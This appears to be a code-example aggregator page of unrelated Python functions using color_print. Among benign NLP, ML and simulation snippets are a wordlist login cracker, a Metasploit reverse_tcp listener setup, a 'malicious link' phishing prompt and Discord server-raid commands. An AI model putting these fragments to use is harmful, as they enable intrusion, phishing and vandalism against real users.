Exemplo n.º 1
0
def config():

    # Read in the config file
    global configParser
    configParser = ConfigParser.RawConfigParser()
    configParser.read('config')

    # Read in the username and wordlist from the config file.
    global dic_path
    dic_path = configParser.get('Config', 'dict')
    username = configParser.get('Config', 'user')

    # The wordlist file does not exist.
    if (Path(dic_path).is_file() == False):
        color_print(
            "\n\n[!] Please define the username and wordlist in the config file",
            color='red')
        return

    # There is no username and wordlist specified in the config file.
    if username == 'username' and dic_path == 'wordlist':
        color_print("\n\n[!] You need to setup the config file", color='red')
        return

    else:
        #
        # Start the crack
        #
        setup()
        threading(login)
Exemplo n.º 2
0
def save_model_fn(ae, ae_config, pc_config, root_weights, now, iteration, total_iterations, best_val, save_config):

    target_bpp = ae_config.H_target/(64./ae_config.num_chan_bn)
    if ae_config.AE_only:
        model_config = '_AE_only_'
    else:
        model_config = '_sinet_'

    model_name = 'target_bpp' + str(target_bpp) + model_config + now
    ae.save_model(root_weights + model_name + '/model')
    color_print('Saving to:' + root_weights + model_name, color='yellow')

    f = open(root_weights + 'last_saved_' + model_name + '.txt', 'w+')
    f.write(root_weights + model_name +
            '\nlast saved iteration number: ' + str(iteration) + '/' + str(total_iterations) +
            '\nlast saved val loss: ' + str(best_val))
    f.close()

    if save_config and not os.path.exists(root_weights + 'configs_' + model_name + '.txt'):
        f = open(root_weights + 'configs_' + model_name + '.txt', 'a+')
        f.write('#  ae configs:\n' + str(ae_config))
        f.write('\n\n#  pc configs:\n' + str(pc_config))
        f.close()

    return model_name
Exemplo n.º 3
0
def login(url):
    tests = 0
    while tests < 5:
        color_print('--------------', color='red')
        color_print('**Login Form**', color='black', highlight='white', bold=True)
        color_print('--------------', color='red')
        information = {'username': input('Username: '******'password': input('Password: '******'/api/Login', information)
        if response.status_code == 200:
            # TOKEN
            token = json.loads(response.text)['token']
            jwttoken = {'Authorization': 'JWT ' + token}
            color_print('Log in Successful.', color='black', highlight='green')
            return options(jwttoken)
        else:
            color_print('Username or Password is incorrect!', color='white', highlight='red')
            tests += 1
            if tests == 5:
                break
            else:
                ans = input('Do you want to try again?(yes/no)\n')
                while ans.lower() != 'yes' and ans.lower() != 'no':
                    ans = input('Do you want to try again?(yes/no)\n')
                if ans.lower() == 'no':
                    break
Exemplo n.º 4
0
def contain(container, obj):
    for o in container:
        if o.name.lower() == obj.lower() or str(
                o.id) == obj or f'<@!{str(o.id)}>' == obj:
            return o
    color_print('Unable to find ' + obj, color='yellow')
    return None
Exemplo n.º 5
0
async def auditLog(ctx, file=None, n=None):
    ctx_checked = connect_server(ctx, ['guild'])
    if file is None:
        file = f'audit_logs_{ctx_checked.guild.name}_{ctx_checked.guild.id}.txt'
    if n is not None:
        n = int(n)
        if n < 1:
            return await ctx.send('Invaild item number.')
    color_print('Getting everything in audit log ready...', color='pink')
    with open(file, 'w+') as f:
        counter = 0
        async for entry in ctx_checked.guild.audit_logs(limit=n):
            counter += 1
            action = entry.action.name
            if hasattr(entry.target, 'discriminator'):
                f.write(
                    f'{entry.user} did {action} to {entry.target.name}#{entry.target.discriminator} id={entry.target.id}\n'
                )
            elif hasattr(entry.target, 'name'):
                f.write(
                    f'{entry.user} did {action} to {entry.target.name} id={entry.target.id}\n'
                )
            else:
                f.write(
                    f'{entry.user} did {action} to guild_name={entry.guild.name} id={entry.guild.id}\n'
                )

            #f.write('{0.user} did {0.action} to {0.target}\n'.format(entry))

    color_print(f'Finished saving audit log with {str(counter)} item(s).',
                color='green')
Exemplo n.º 6
0
def stanfordNer():
    f = open("federer.txt", "r")
    text = f.read()

    jar = './stanford-ner-tagger/stanford-ner.jar'
    model = './stanford-ner-tagger/english.muc.7class.distsim.crf.ser.gz'

    ner_tagger = StanfordNERTagger(model, jar, encoding='utf8')
    words = nltk.word_tokenize(text)
    color_print('\nStanfordNER', color='blue', bold=True, underline=True)
    color_print('\nPrepoznati entiteti:\n',
                color='yellow',
                bold=True,
                underline=True)

    table = PrettyTable(["Prepoznati entitet", "Tip entiteta"])

    for token, tag in ner_tagger.tag(words):
        if tag != "O":
            table.add_row([token, tag])
    print(table)

    with open("Rezultati_StanfordNER.txt", "w", encoding="utf8") as text_file:
        text_file.write("Prepoznati entiteti: \n\n%s" % table)

    print("Rezultati sačuvani u fajl Rezultati_StanfordNER.txt")
Exemplo n.º 7
0
def listenForConnections():
    # Do you want to listen for any connections.
    listen = raw_input('Do you want to start up a listener: [Y/N]: ')
    if listen == 'Y' or listen == 'y' or listen == 'yes' or listen == 'Yes':
        color_print("[+] Starting a listener", color='blue')

        # Listen for a connection

        lhost = raw_input('What is your LHOST (local ip address): ')
        lport = raw_input('What is your LPORT (port): ')
        payload = raw_input(
            'What is your payload: (eg windows/meterpreter/reverse_tcp): ')
        if payload == '':
            payload = 'windows/meterpreter/reverse_tcp'

        if os.path.isfile('resource.rc'):
            os.system('rm resource.rc')
        os.system('touch resource.rc')
        os.system('echo use exploit/multi/handler >> resource.rc')
        os.system('echo set PAYLOAD ' + payload + ' >> resource.rc')
        os.system('echo set LHOST ' + lhost + ' >> resource.rc')
        os.system('echo set LPORT ' + lport + ' >> resource.rc')
        os.system('echo set ExitOnSession false >> resource.rc')
        os.system('echo exploit -j -z >> resource.rc')
        os.system('cat resource.rc')
        os.system('msfconsole -r resource.rc')
    else:
        #color_print("[+] Generated a report..", color='green')
        #if isUsingMessenger == False:
        #	generateMailReport(fromAddr, toAddr, spoofName, subject, message, html)
        #else:
        #	generateMessengerReport(fbuser, fbuserID, fbmessage, link)
        color_print("\nThanks, Happy hacking", color='blue')
        return
Exemplo n.º 8
0
def main(
    lang_list: List[str],
    action: str,
    force_build: bool,
    only: str
) -> None:
    try:
        # builds base image used by all other images
        base_image_name = build_docker_image('base', force_build)  # noqa: F841
    except CalledProcessError as err:
        color_print(
            "Could not create base docker image",
            color="red", bold=True)

        raise err

    for lang in lang_list:
        try:
            image_name = build_docker_image(lang.lower(), force_build)
            run_docker_image(image_name, action, only)
        except CalledProcessError as err:
            out_msg = err.stdout.decode().strip()
            err_msg = err.stderr.decode().strip()
            err_code = err.returncode

            print(f"[M][{lang}] {out_msg}; Code {err_code}")
            print(f"[E][{lang}] {err_msg}; Code {err_code}")
Exemplo n.º 9
0
def run_model(sim, h, u, sD, nr, r, im, Si, clr):
    rD, iD, ct, splist2, asplist2, dsplist2 = {}, {}, 0, [], [], []
    ps = [h, r, u, nr, im, Si]
    hvar, uvar = 0, 0
    t = time.time()
    minlim = 1000+(h/u)**0.8

    print '\ntau:', log10(h/u), ' h:', h, ' u:', u

    ct2 = 0
    while ct != -1:
        ps = [h, r, u, nr, im, Si]
        iD, sD, rD, N, S, R, ct, prod, pD, avgQ, Sz, D, Ri = iter_procs(iD, sD, rD, ps, ct, minlim)
        Rp = R
        if ct <= minlim and ct%100 == 0:
            string  = 'sim:'+'%4s' % str(sim)+' ct:'+'%5s' % str(int(round(minlim-ct, 0)))
            string += '  tau:''%6s' % str(round(log10(h/u), 2)) + ' N:'+'%5s' % str(N)+' S:'+'%5s' % str(S)
            string += '  R:'+'%6s' % str(round(Rp, 4))+' P:'+'%4s' % str(round(prod, 2))
            string += '  %D:'+'%5s' % str(round(100*pD,1)) + '  Q:'+'%6s' % str(round(avgQ,2))
            string += '  Sz:'+'%6s' % str(round(Sz,2)) + '  Ri:'+'%6s' % str(round(Ri,2))
            color_print(string)

        elif ct > minlim and ct%10 == 0:
            ct2 += 1
            ps2 = [h, h, hvar, r, u, u, uvar, nr, im]
            splist2, asplist2, dsplist2 = fx.output(iD, sD, rD, ps2, sim, t,
                ct, prod, splist2, asplist2, dsplist2, D, minlim, pD, clr, Ri)
            if ct2 == 100: return
Exemplo n.º 10
0
def check_perms(ctx):
    # for perm in permissions:
    if f'{ctx.author.name}#{ctx.author.discriminator}' in permissions:
        return True
    color_print(
        f'{ctx.author} tried to command "{ctx.message.content}" in channel "{ctx.message.channel.name}".',
        color='red')
    return False
Exemplo n.º 11
0
async def aCat(ctx, name, *, name1=None):
    ctx_checked = connect_server(ctx, ['guild'])
    name = add_args(name, name1)
    try:
        await ctx_checked.guild.create_category(name)
        print('Successfully created category: ' + name)
    except:
        color_print('Unable to create category: ' + name, color='yellow')
Exemplo n.º 12
0
async def on_command_error(ctx, error):
    if isinstance(error, commands.CommandNotFound):
        color_print(f'That command doesn\'t exist.', color='pink')
        return
    try:
        color_print(error, color='yellow')
    except:
        raise error
Exemplo n.º 13
0
def send_message(socketClient, AESk):
    while True:
        msg = raw_input("\n[>] ENTER YOUR MESSAGE : ")
        en = AESk.encrypt(Padding(msg))
        socketClient.send(str(en))
        if msg == FLAG_QUIT:
            os.kill(os.getpid(), signal.SIGKILL)
        else:
            color_print("\n[!] Your encrypted message \n" + en, color="gray")
Exemplo n.º 14
0
def SendMessage():
    while True:
        msg = raw_input("[>] YOUR MESSAGE : ")
        en = AESKey.encrypt(Padding(msg))
        server.send(str(en))
        if msg == FLAG_QUIT:
            os.kill(os.getpid(), signal.SIGKILL)
        else:
            color_print("\n[!] Your encrypted message \n" + en, color="gray")
Exemplo n.º 15
0
async def sn(ctx, s, *, s1=None):
    ctx_checked = connect_server(ctx, ['guild'])
    if s1 is not None:
        s += ' ' + s1
    try:
        await ctx_checked.guild.edit(name=s)
        print('Server name changed to: ' + s)
    except:
        color_print('Unable to change server name.', color='yellow')
Exemplo n.º 16
0
async def dVC(ctx, s):
    ctx_checked = connect_server(ctx, None)
    channel = contain(ctx_checked.channels, s)

    try:
        await channel.delete()
        print('VC: ' + channel.name + ' is deleted.')
    except:
        color_print('Unable to delete VC: ' + channel.name, color='yellow')
Exemplo n.º 17
0
async def roleBomb(ctx, n=number_of_bomb_default, type_='random'):
    type_, argv = check_type(type_)
    color_print('Role bombing...', color='pink')

    for _ in range(n):
        temp = await aRole(ctx, type_(bomb_messages[argv]))
        if temp:
            return

    color_print('Role bombing, successful.', color='green')
Exemplo n.º 18
0
async def dCat(ctx, s, *, s1=None):
    add_args(s, s1)
    ctx_checked = connect_server(ctx, ['guild'])
    category = contain(ctx_checked.guild.categories, s)
    try:
        await category.delete(reason=None)
        print('Successfully deleted category: ' + category.name)
    except:
        color_print('Unable to delete category: ' + category.name,
                    color='yellow')
Exemplo n.º 19
0
async def disconnect(ctx):
    temp_ctx, connected = check_server(ctx)
    if connected:
        global connected_server
        connected_server = None
        color_print('Finished disconnecting from ' + temp_ctx.name,
                    color='green')
        await ctx.send('Finished disconnecting from ' + temp_ctx.name)
    else:
        await ctx.send('The bot is already disconnected.')
Exemplo n.º 20
0
 def change_keyword(self):
   content = self.__random_select(self.contents)
   new_keyswords = word_extraction(content['text'])
   new_keywords = list(set(new_keyswords.get('NNP', [])))
   
   if len(new_keywords):
     prev_keyword = self.crawlers[self.target].keyword
     new_keyword = self.__random_select(new_keywords)
     self.crawlers[self.target].init(new_keyword)
     color_print('** keyword change %s: %s => %s**'%(self.target, prev_keyword, new_keyword), color='yellow')
Exemplo n.º 21
0
def ReceiveMessage():
    while True:
        emsg = server.recv(1024)
        msg = RemovePadding(AESKey.decrypt(emsg))
        if msg == FLAG_QUIT:
            color_print("\n[!] Server was shutdown by admin", color="red", underline=True)
            os.kill(os.getpid(), signal.SIGKILL)
        else:
            color_print("\n[!] Server's encrypted message \n" + emsg, color="gray")
            print "\n[!] SERVER SAID : ", msg
Exemplo n.º 22
0
async def si(ctx, path=None):
    ctx_checked = connect_server(ctx, ['guild'])
    # https://regex101.com/
    regex = r'((http|fpt)s?:\/\/)|(([0-9A-Za-z]{1,256}.)?)+'
    if path is None:  # remove icon
        await ctx_checked.guild.edit(icon=None)
        return color_print('Successfully removed the current server icon.',
                           color='green')
    elif re.search(
            regex,
            path) is not None:  # Link EX: https://www.example.com/aaa.png
        try:
            response = requests.get(path)
            img = BytesIO(response.content).read()
            await ctx_checked.guild.edit(icon=img)
            color_print('Successfully changed the current server icon.',
                        color='green')
        except:
            color_print('Bad image URL.', color='yellow')

    else:  # File EX: C:\Users\user\Desktop\something.jpg or EX: .\icon\something.jpg
        try:
            with open(path, 'rb') as data:
                await ctx_checked.guild.edit(icon=data.read())
                color_print('Successfully removed the current server icon.',
                            color='green')
        except:
            color_print('Bad path to image.', color='yellow')
Exemplo n.º 23
0
async def ban(ctx, member):
    ctx_checked = connect_server(ctx, ['guild'])
    member = contain(ctx_checked.guild.members, member)

    try:
        await member.ban(reason=None)
        color_print(f'Banned: {member.name}#{member.discriminator}',
                    color='white')
    except:
        color_print(f'Failed to ban: {member.name}#{member.discriminator}',
                    color='red')
Exemplo n.º 24
0
def getLink():
    # Tell the user to upload there file.
    color_print("Upload it to a free file hosting website: https://nofile.io/",
                color='yellow')
    color_print("OR Paste in the IP Address of your malicious server",
                color='yellow')
    time.sleep(2)
    link = raw_input("\nPaste your malicious link: \n")
    while len(link) == 0:
        link = raw_input("Paste your malicious link: ")
    return link
    def run(self):
        global Globalvariable

        while 1:
            message_recu = self.connexion.recv(1024).decode("Utf8")
            if message_recu[0:14] == "##Rsapubkeyis#":
                if not Globalvariable['RSA_Recieved']:
                    message = message_recu[14:].split("#")
                    Globalvariable['OtherRsaE'], Globalvariable[
                        'OtherRsaN'] = int(message[0]), int(message[1])
                    self.connexion.send("##YesRsa".encode("Utf8"))
                    Rsa = RSA()
                    Globalvariable["EncRC4Key"] = Rsa.crypt(
                        Globalvariable["OtherRsaE"],
                        Globalvariable["OtherRsaN"], Globalvariable["RC4Key"])
                    Globalvariable['RSA_Recieved'] = True
                    color_print(
                        "Public Anahtarı -->" +
                        str(Globalvariable["OtherRsaE"]) +
                        str(Globalvariable["OtherRsaN"]), 'red')
                    color_print(
                        "RC4 Private Anahtarı -->" + Globalvariable["RC4Key"],
                        'red')
                    color_print(
                        "Şifrelenmiş Anahtar -->" +
                        str(Globalvariable["EncRC4Key"]), 'red')
                else:
                    self.connexion.send("##YesRsa".encode("Utf8"))
            elif message_recu == "##YesRsa":
                Globalvariable['RSA_Sent'] = True
            elif message_recu[:6] == "##RC4#":
                if Globalvariable["OtherRC4"] == "":
                    Rsa = RSA()
                    Globalvariable["OtherRC4"] = Rsa.decrypt(
                        Globalvariable["d"], Globalvariable["n"],
                        int(message_recu[6:]))
                    self.connexion.send("##YesRC4".encode("Utf8"))
                else:
                    self.connexion.send("##YesRC4".encode("Utf8"))
            elif message_recu == "##YesRC4":
                if not Globalvariable["RC4_sent"]:
                    Globalvariable["RC4_sent"] = True

            elif Globalvariable['RSA_Sent'] and Globalvariable[
                    'RSA_Recieved'] and message_recu[
                        0:
                        14] != "##Rsapubkeyis#" and message_recu != "##YesRsa" and message_recu != "##YesRC4":
                Rc44 = RC4()

                Rc44.shuffle(str(Globalvariable["OtherRC4"]))

                message = Rc44.Crypt(message_recu)
                color_print("Mesaj -->" + message, 'yellow')
                color_print("Şifrelenmiş Mesaj -->" + message_recu, 'blue')
Exemplo n.º 26
0
 def handle_message(self, msg):
     """manage message of different type and in the context of path"""
     from lazyme.string import color_print
     if msg.module not in self._modules:
         if msg.module:
             color_print('\n\n************* Module %s *************' %
                         msg.module,
                         color='red')
             self._modules.add(msg.module)
         else:
             self.writeln('*************')
     self.write_message(msg)
Exemplo n.º 27
0
def print_to_console(show_every, train_sum, train_loss_history, train_iters, iteration, bpp_sum, val_loss, tbar):

    train_loss = train_sum / float(show_every)
    train_loss_history.append(train_loss)
    train_iters.append(iteration)
    bpp = bpp_sum / float(show_every)
    s = "Loss: {:.4f}, bpp: {:.4f}".format(train_loss, bpp)
    tbar.set_description(s)
    s = " Validation Loss: {:.4f}".format(val_loss)
    color_print(s, color='green')

    return bpp, train_loss_history, train_iters
Exemplo n.º 28
0
async def dRole(ctx, role):
    ctx_checked = connect_server(ctx, ['guild'])

    role = contain(ctx_checked.guild.roles, role)

    if role is None:
        return color_print('Unable to find role: ' + role, color='yellow')
    try:
        await role.delete(reason=None)
        color_print('Deleted role: ' + role.name, color='white')
    except:
        color_print('Failed to delete role: ' + role.name, color='red')
Exemplo n.º 29
0
async def dChannel(ctx, channel, do_check=True):
    if do_check:
        ctx_checked = connect_server(ctx, ['guild'])
        channel = contain(ctx_checked.guild.channels, channel)
        print('shiting')

    try:
        await channel.delete(reason=None)
        print(f'Channel: {channel.name} is deleted.')
    except:
        color_print('Unable to delete channel: ' + channel.name,
                    color='yellow')
Exemplo n.º 30
0
def classlaSerbian():
    color_print('\nClassla - srpski', color='blue', bold=True, underline=True)
    f = open("federer_srb2.txt", "r", encoding="utf8")
    text = f.read()
    nlp = classla.Pipeline('sr')
    doc = nlp(text)
    tableEnt = PrettyTable(["Prepoznati entitet", "Tip entiteta"])
    for sentence in doc.sentences:
        for word in sentence.tokens:
            if word.ner != "O":
                tableEnt.add_row([word.text, word.ner])
    print(tableEnt)
Exemplo n.º 31
0
async def clear(ctx, n=None):
    try:
        if n is not None:
            s = 'up to ' + str(n)  # to make sure n is a string
            n = int(n)
        else:
            s = 'all'
        await ctx.channel.purge(limit=n)
        color_print(
            f'Successfully cleared {s} message(s) in the current chat.',
            color='green')
    except:
        color_print('Unable to clear the current chat.', color='yellow')
Exemplo n.º 32
0
def output(iD, sD, rD, ps, sim, t, ct, prod, splist2, asplist2, dsplist2, D, minlim, pD, clr, Ri):

    h, h1, hvar, r, u, u1, uvar, nr, im = ps
    nN, rmax, gmax, maintmax, dmax, pmax = 3, 1, 1, 1, 1, 1
    N, S, R = 0, 0, 0

    G, M, MF, RP, Di, Sz, S_NR, S_GL, S_ML, S_MF, S_RP, S_Di = [0]*12
    aG, aM, aMF, aRP, aDi, aSz, aS_NR, aS_GL, aS_ML, aS_MF, aS_RP, aS_Di = [0]*12
    dG, dM, dMF, dRP, dDi, dSz, dS_NR, dS_GL, dS_ML, dS_MF, dS_RP, dS_Di = [0]*12

    SpIDs, IndIDs, Qs, GList, MList, MFList, AList = [list([]) for _ in xrange(7)]
    aAList, dAList, aQs, dQs, RepList, aRepList, dRepList = [list([]) for _ in xrange(7)]
    RPList, DiList, DoList, ADList, SzList = [list([]) for _ in xrange(5)]
    RIDs, Rvals, Rtypes, indX, a_indX, d_indX = [list([]) for _ in xrange(6)]
    aIndIDs, aSpIDs, aGList, aMList, aMFList, aRPList, aDiList, aSzList, aQs = [list([]) for _ in xrange(9)]
    dIndIDs, dSpIDs, dGList, dMList, dMFList, dRPList, dDiList, dSzList, dQs = [list([]) for _ in xrange(9)]

    S_GList, S_MList, S_MFList, S_RPList, S_DiList = [list([]) for _ in xrange(5)]
    aS_GList, aS_MList, aS_MFList, aS_RPList, aS_DiList = [list([]) for _ in xrange(5)]
    dS_GList, dS_MList, dS_MFList, dS_RPList, dS_DiList = [list([]) for _ in xrange(5)]

    aNRList1, aNRList2, aNRList3 = [list([]) for _ in xrange(3)]
    dNRList1, dNRList2, dNRList3 = [list([]) for _ in xrange(3)]
    NRList1, NRList2, NRList3 = [list([]) for _ in xrange(3)]

    aNRList1e, aNRList2e, aNRList3e = [list([]) for _ in xrange(3)]
    dNRList1e, dNRList2e, dNRList3e = [list([]) for _ in xrange(3)]
    NRList1e, NRList2e, NRList3e = [list([]) for _ in xrange(3)]

    S_NRList1, S_NRList2, S_NRList3 = [list([]) for _ in xrange(3)]
    aS_NRList1, aS_NRList2, aS_NRList3 = [list([]) for _ in xrange(3)]
    dS_NRList1, dS_NRList2, dS_NRList3 = [list([]) for _ in xrange(3)]



    for k, v in rD.items():
        RIDs.append(k)
        Rvals.append(v['v'])
        Rtypes.append(v['t'])

    R, tR, Rrich = len(RIDs), sum(Rvals), len(list(set(Rtypes)))
    Rdens = R/h

    for k, v in iD.items():

        IndIDs.append(k)
        AList.append(v['age'])
        SpIDs.append(v['sp'])
        GList.append(v['gr'])

        if v['st'] == 'a': MList.append(v['mt'])
        elif v['st'] == 'd':
            MList.append(v['mt'] * v['mf'])

        MFList.append(v['mf'])
        RPList.append(v['rp'])

        NRList1.append(np.var(v['ef']))
        ls = v['ef']
        ls = filter(lambda a: a != 0, ls)
        NRList2.append(np.var(ls))
        NRList3.append(1/len(ls))

        NRList1e.append(np.var(v['e_ef']))
        ls = v['e_ef']
        ls = filter(lambda a: a != 0, ls)
        NRList2e.append(np.var(ls))
        NRList3e.append(len(ls))

        DiList.append(v['di'])
        SzList.append(v['sz'])
        Qs.append(v['q'])
        indX.append(v['x'])

        ri = v['q']/v['mt']
        rp = ri/(1+ri) * v['sz']/(1+v['sz'])
        RepList.append(rp)

        if v['st'] == 'a':
            aIndIDs.append(k)
            aSpIDs.append(v['sp'])
            aGList.append(v['gr'])
            aMList.append(v['mt'])
            aMFList.append(v['mf'])
            aRPList.append(v['rp'])
            aAList.append(v['age'])
            aQs.append(v['q'])

            ri = v['q']/v['mt']
            rp = ri/(1+ri) * v['sz']/(1+v['sz'])
            aRepList.append(rp)

            aNRList1.append(np.var(v['ef']))
            ls = v['ef']
            ls = filter(lambda a: a != 0, ls)
            aNRList2.append(np.var(ls))
            aNRList3.append(1/len(ls))

            aNRList1e.append(np.var(v['e_ef']))
            ls = v['e_ef']
            ls = filter(lambda a: a != 0, ls)
            aNRList2e.append(np.var(ls))
            aNRList3e.append(len(ls))

            aDiList.append(v['di'])
            aSzList.append(v['sz'])
            aQs.append(v['q'])
            a_indX.append(v['x'])

        elif v['st'] == 'd':
            dIndIDs.append(k)
            dSpIDs.append(v['sp'])
            dGList.append(v['gr'])
            dMList.append(v['mt'] * v['mf'])
            dMFList.append(v['mf'])
            dRPList.append(v['rp'])
            dAList.append(v['age'])
            dQs.append(v['q'])

            ri = v['q']/v['mt']
            rp = ri/(1+ri) * v['sz']/(1+v['sz'])
            dRepList.append(rp)

            dNRList1.append(np.var(v['ef']))
            ls = v['ef']
            ls = filter(lambda a: a != 0, ls)
            dNRList2.append(np.var(ls))
            dNRList3.append(1/len(ls))

            dNRList1e.append(np.var(v['e_ef']))
            ls = v['e_ef']
            ls = filter(lambda a: a != 0, ls)
            dNRList2e.append(np.var(ls))
            dNRList3e.append(len(ls))

            dDiList.append(v['di'])
            dSzList.append(v['sz'])
            dQs.append(v['q'])
            d_indX.append(v['x'])

    NR1 = np.mean(NRList1)
    NR1e = np.mean(NRList1e)
    S_NR1 = np.mean(list(set(NRList1)))

    NR2 = np.mean(NRList2)
    NR2e = np.mean(NRList2e)
    S_NR2 = np.mean(list(set(NRList2)))

    NR3 = np.mean(NRList3)
    NR3e = np.mean(NRList3e)
    S_NR3 = np.mean(list(set(NRList3)))

    aNR1 = np.mean(aNRList1)
    aNR1e = np.mean(aNRList1e)
    aS_NR1 = np.mean(list(set(aNRList1)))

    aNR2 = np.mean(aNRList2)
    aNR2e = np.mean(aNRList2e)
    aS_NR2 = np.mean(list(set(aNRList2)))

    aNR3 = np.mean(aNRList3)
    aNR3e = np.mean(aNRList3e)
    aS_NR3 = np.mean(list(set(aNRList3)))

    dNR1 = np.mean(dNRList1)
    dNR1e = np.mean(dNRList1e)
    dS_NR1 = np.mean(list(set(dNRList1)))

    dNR2 = np.mean(dNRList2)
    dNR2e = np.mean(dNRList2e)
    dS_NR2 = np.mean(list(set(dNRList2)))

    dNR3 = np.mean(dNRList3)
    dNR3e = np.mean(dNRList3e)
    dS_NR3 = np.mean(list(set(dNRList3)))

    N = len(IndIDs)
    aN = len(aIndIDs)
    dN = len(dIndIDs)
    S = len(list(set(SpIDs)))
    aS = len(list(set(aSpIDs)))
    dS = len(list(set(dSpIDs)))

    RAD, splist = GetRAD(SpIDs)
    ES = e_simpson(RAD)
    if len(RAD) == 0: Nm = float('NaN')
    else: Nm = max(RAD)

    aRAD, asplist = GetRAD(aSpIDs)
    aES = e_simpson(aRAD)
    if len(aRAD) == 0: aNm = float('NaN')
    else: aNm = max(aRAD)

    dRAD, dsplist = GetRAD(dSpIDs)
    dES = e_simpson(dRAD)
    if len(dRAD) == 0: dNm = float('NaN')
    else: dNm = max(dRAD)

    if S > 0:
        x = np.array(RAD)
        skw = sum((x - np.mean(x))**3)/((S-1)*np.std(x)**3)
        lms = np.log10(abs(float(skw)) + 1)
        if skw < 0: lms = lms * -1
    else: lms = float('NaN')

    if aS > 0:
        ax = np.array(aRAD)
        askw = sum((ax - np.mean(ax))**3)/((aS-1)*np.std(ax)**3)
        alms = np.log10(abs(float(askw)) + 1)
        if askw < 0: alms = alms * -1
    else: alms = float('NaN')

    if dS > 0:
        dx = np.array(dRAD)
        dskw = sum((dx - np.mean(dx))**3)/((dS-1)*np.std(dx)**3)
        dlms = np.log10(abs(float(dskw)) + 1)
        if dskw < 0: dlms = dlms * -1
    else: dlms = float('NaN')

    wt = WhittakersTurnover(splist, splist2)
    splist2 = list(splist)
    awt = WhittakersTurnover(asplist, asplist2)
    asplist2 = list(asplist)
    dwt = WhittakersTurnover(dsplist, dsplist2)
    dsplist2 = list(dsplist)

    avgA = np.mean(AList)
    varA = np.var(AList)
    G = np.mean(GList)
    M = np.mean(MList)
    MF = np.mean(MFList)
    RP = np.mean(RPList)
    Di = np.mean(DiList)
    Sz = np.mean(SzList)
    S_G = np.mean(list(set(GList)))
    S_M = np.mean(list(set(MList)))
    S_MF = np.mean(list(set(MFList)))
    S_RP = np.mean(list(set(RPList)))
    S_Di = np.mean(list(set(DiList)))

    avg_active_A = np.mean(aAList)
    aRep = np.mean(aRepList)
    Rep = np.mean(RepList)
    dRep = np.mean(dRepList)
    aG = np.mean(aGList)
    aM = np.mean(aMList)
    aMF = np.mean(aMFList)
    aRP = np.mean(aRPList)
    aDi = np.mean(aDiList)
    aSz = np.mean(aSzList)
    aS_G = np.mean(list(set(aGList)))
    aS_M = np.mean(list(set(aMList)))
    aS_MF = np.mean(list(set(aMFList)))
    aS_RP = np.mean(list(set(aRPList)))
    aS_Di = np.mean(list(set(aDiList)))

    avg_dormant_A = np.mean(dAList)
    dG = np.mean(dGList)
    dM = np.mean(dMList)
    dMF = np.mean(dMFList)
    dRP = np.mean(dRPList)
    dDi = np.mean(dDiList)
    dSz = np.mean(dSzList)
    dS_G = np.mean(list(set(dGList)))
    dS_M = np.mean(list(set(dMList)))
    dS_MF = np.mean(list(set(dMFList)))
    dS_RP = np.mean(list(set(dRPList)))
    dS_Di = np.mean(list(set(dDiList)))

    Q = np.mean(Qs)
    aQ = np.mean(aQs)
    dQ = np.mean(dQs)

    Nvar = np.var(RAD)
    aNvar = np.var(aRAD)
    dNvar = np.var(dRAD)

    avgN = np.mean(RAD)
    aavgN = np.mean(aRAD)
    davgN = np.mean(dRAD)

    OUT = open('results/data/SimData.csv', 'a')
    outlist = [sim, clr, t, ct, im, r, nN, rmax, gmax, maintmax, dmax, 1000, u, h,\
    N, aN, dN, prod, R, Rdens, Rrich, S, ES, avgN, Nvar, Nm, lms, wt, Q, G, M, \
    NR1, NR2, NR3, NR1e, NR2e, NR3e,\
    Di, RP, MF, Sz, aS, aES, aavgN, aNvar, aNm, alms, awt, aQ,\
    aG, aM, aNR1, aNR2, aNR3, aNR1e, aNR2e, aNR3e, aDi, aRP, aMF, aSz, dS, dES, \
    davgN, dNvar, dNm, dlms, dwt, dQ, dG, dM, dNR1, dNR2, dNR3, dNR1e, dNR2e, dNR3e, \
    dDi, dRP, dMF, dSz, pD, nr, tR, S_NR1, S_NR2, S_NR3, S_G, S_M, S_MF, S_RP, S_Di, \
    aS_NR1, aS_NR2, aS_NR3, aS_G, aS_M, aS_MF, aS_RP, aS_Di, dS_NR1, dS_NR2, \
    dS_NR3, dS_G, dS_M, dS_MF, dS_RP, dS_Di, avgA, avg_active_A,
    avg_dormant_A, varA, aRep, Rep, dRep, h1, hvar, u1, uvar]

    outlist = str(outlist).strip('[]')
    outlist = outlist.replace(" ", "")
    print>>OUT, outlist
    OUT.close()

    OUT = open('results/data/RAD-Data.csv', 'a')
    print>>OUT, sim, ',', h/u, ',', ct,',',  RAD, ',', splist
    OUT.close()

    OUT = open('results/data/active.RAD-Data.csv', 'a')
    print>>OUT, sim, ',', h/u, ',', ct,',',  aRAD, ',', asplist
    OUT.close()

    OUT = open('results/data/dormant.RAD-Data.csv', 'a')
    print>>OUT, sim, ',', h/u, ',', ct, ',',  dRAD, ',', dsplist
    OUT.close()

    Rp = R #(R/h)/((R/h)+1)
    string = 'sim:'+'%4s' % str(sim)+' ct:'+'%5s' % str(int(round(minlim-ct, 0)))
    string += '  tau:''%6s' % str(round(np.log10(h/u), 2))
    string +=  ' N:'+'%5s' % str(N)+' S:'+'%5s' % str(S)
    string += '  R:'+'%6s' % str(round(Rp, 4))+' P:'+'%4s' % str(round(prod, 2))
    string += '  %D:'+'%5s' % str(round(100*pD,1))
    string += '  Q:'+'%6s' % str(round(Q,2))
    string += '  Sz:'+'%6s' % str(round(Sz,2))
    string += '  Ri:'+'%6s' % str(round(Ri,2))
    color_print(string, color='green')

    return splist2, asplist2, dsplist2